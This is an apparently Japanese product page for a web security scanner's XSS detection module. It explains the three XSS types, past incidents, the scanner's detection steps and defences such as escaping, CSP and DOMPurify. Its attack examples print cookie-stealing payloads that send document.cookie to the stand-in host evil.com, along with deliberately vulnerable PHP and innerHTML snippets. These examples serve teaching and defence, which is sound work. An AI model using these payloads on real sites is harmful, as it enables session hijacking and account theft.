モジュール一覧
診断モジュール 03

XSS(クロスサイトスクリプティング)検出

XSSは最も頻繁に発見されるWebアプリケーション脆弱性の一つです。 攻撃者がWebページに悪意のあるスクリプトを注入し、ユーザーのセッション窃取、 フィッシング攻撃、マルウェア配布などを行うリスクを診断します。

チェック項目

3種類のXSS脆弱性を検出

反射型XSS(Reflected XSS)

危険度:

ユーザーが送信したデータが、サーバー側で適切にサニタイズされずにそのままHTMLレスポンスに反映される脆弱性。攻撃者は悪意のあるスクリプトを含むURLをユーザーにクリックさせることで攻撃を実行します。

攻撃コード例

// 攻撃URL例
https://example.com/search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

// サーバー側の脆弱なコード(PHP)
echo "検索結果: " . $_GET['q'];  // エスケープなし

格納型XSS(Stored XSS)

危険度: 非常に高

悪意のあるスクリプトがデータベースに保存され、他のユーザーがそのデータを表示するたびにスクリプトが実行される脆弱性。掲示板、コメント欄、プロフィール情報などが典型的な攻撃対象です。影響範囲が広く、最も危険なXSSの種類です。

攻撃コード例

// 攻撃者がコメント欄に投稿
<img src=x onerror="fetch('https://evil.com/log?c='+document.cookie)">

// データベースに保存された悪意のあるHTML
<div class="comment">
  <img src=x onerror="fetch('https://evil.com/log?c='+document.cookie)">
</div>

DOM-based XSS

危険度:

サーバーを介さず、クライアントサイドのJavaScriptがDOM操作を通じてユーザー入力を直接HTMLに注入する脆弱性。URLのフラグメント(#以降)やlocation.hashの値を使うケースが代表的です。

攻撃コード例

// 脆弱なクライアントサイドコード
document.getElementById('output').innerHTML = location.hash.substring(1);

// 攻撃URL
https://example.com/page#<img src=x onerror=alert(document.cookie)>

追加の検査項目

  • フォーム入力フィールドに対するXSSペイロードの注入テスト
  • URLパラメータ(クエリ文字列)に対するペイロード反映テスト
  • HTMLイベントハンドラ(onerror, onload, onmouseover等)の注入検出
  • JavaScriptプロトコル(javascript:)の注入テスト
  • エンコーディング回避テスト(UTF-7, ダブルエンコード等)
  • Content-Security-Policyヘッダーとの連携評価

脆弱性の背景

なぜXSS対策が重要なのか

OWASP Top 10に常にランクインするXSSは、Webアプリケーションにおいて最も広く悪用される脆弱性の一つです。 XSSが成功すると、攻撃者は被害者のブラウザ上で任意のJavaScriptを実行でき、以下のような深刻な被害をもたらします。

セッションハイジャック

document.cookieを通じてセッションIDを窃取し、被害者のアカウントに不正アクセス。

キーロガー注入

フォームの入力内容(パスワード、クレジットカード番号等)を外部サーバーに送信。

フィッシング

正規ドメイン上に偽のログインフォームを表示し、認証情報を詐取。

マルウェア配布

ユーザーのブラウザを別のサイトにリダイレクトし、マルウェアをダウンロードさせる。

Webサイト改ざん

ページの表示内容を改ざんし、偽情報の拡散やブランド毀損を引き起こす。

仮想通貨マイニング

被害者のブラウザリソースを使用して暗号通貨のマイニングを実行。

実際の被害事例

XSSによる攻撃事例

Samy Worm - MySpace XSS攻撃(2005年)

格納型XSSを悪用したワームがMySpaceで拡散。攻撃者のプロフィールを閲覧するだけで、閲覧者のプロフィールにも同じスクリプトが自動追加される自己増殖型のワームでした。わずか20時間で100万以上のプロフィールが感染し、MySpaceは一時サービスを停止しました。

eBay XSSによるフィッシング攻撃(2015年)

eBayの商品ページにXSSの脆弱性が存在し、攻撃者が商品説明にJavaScriptを埋め込むことが可能でした。偽のログインフォームをオーバーレイ表示し、eBayの正規ドメイン上でフィッシング攻撃を実行。ユーザーは正規のeBayページだと信じてログイン情報を入力してしまいました。

Twitter TweetDeck XSS(2014年)

TweetDeckの表示処理に格納型XSSの脆弱性があり、ツイート内のJavaScriptコードがそのまま実行されました。自己リツイートするワームが拡散し、短時間で数万のアカウントが影響を受けました。

検出メカニズム

Security Scannerの検出方法

01

入力ポイントの特定

対象ページ内のフォーム、URLパラメータ、検索ボックスなどの入力ポイントを自動的に特定します。

02

XSSペイロードの注入

複数のXSSテストペイロード(<script>タグ、イベントハンドラ、エンコードされたペイロード等)を各入力ポイントに注入します。

03

レスポンスの解析

注入したペイロードがHTMLレスポンスにエスケープされずに反映されているかを検証します。

04

CSPヘッダーとの連携評価

Content-Security-Policyヘッダーがスクリプト実行をブロックするか、ポリシーの強度を評価します。

05

リスクレベルの判定

XSSの種類(反射型/格納型/DOM-based)と影響範囲に基づいてリスクレベルを判定します。

修正方法

XSS脆弱性の防御方法

1. 出力エスケープ(最も重要)

ユーザー入力をHTMLに出力する際は、必ず適切なエスケープ処理を行います。

// React - JSXは自動的にエスケープされる(安全)
function SearchResult({ query }: { query: string }) {
  return <p>検索結果: {query}</p>; // 自動エスケープ
}

// 危険: dangerouslySetInnerHTML は使用しない
// <div dangerouslySetInnerHTML={{ __html: userInput }} /> // NG

// Node.js / Express での手動エスケープ
function escapeHtml(str: string): string {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
}

2. Content-Security-Policy(CSP)

CSPヘッダーでインラインスクリプトの実行を制限することで、XSS攻撃の影響を軽減できます。

// 厳格なCSP設定(Next.js middleware例)
// middleware.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
import crypto from 'crypto';

export function middleware(request: NextRequest) {
  const nonce = crypto.randomBytes(16).toString('base64');
  const response = NextResponse.next();

  response.headers.set(
    'Content-Security-Policy',
    `default-src 'self'; script-src 'self' 'nonce-${nonce}'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self';`
  );

  return response;
}

3. 入力バリデーション

サーバー側で入力値のバリデーションを行い、予期しないデータを拒否します。

// Zod を使った入力バリデーション
import { z } from 'zod';

const searchSchema = z.object({
  query: z.string()
    .min(1)
    .max(200)
    .regex(/^[a-zA-Z0-9\u3040-\u309F\u30A0-\u30FF\u4E00-\u9FFF\s]+$/),
});

// DOMPurify を使ったサニタイズ(リッチテキストが必要な場合)
import DOMPurify from 'dompurify';
const cleanHtml = DOMPurify.sanitize(userInput, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
  ALLOWED_ATTR: [],
});

XSS脆弱性を今すぐ診断

あなたのWebアプリにXSSの脆弱性がないか自動テスト。 反射型・格納型・DOM-basedの全てのXSSタイプを検出します。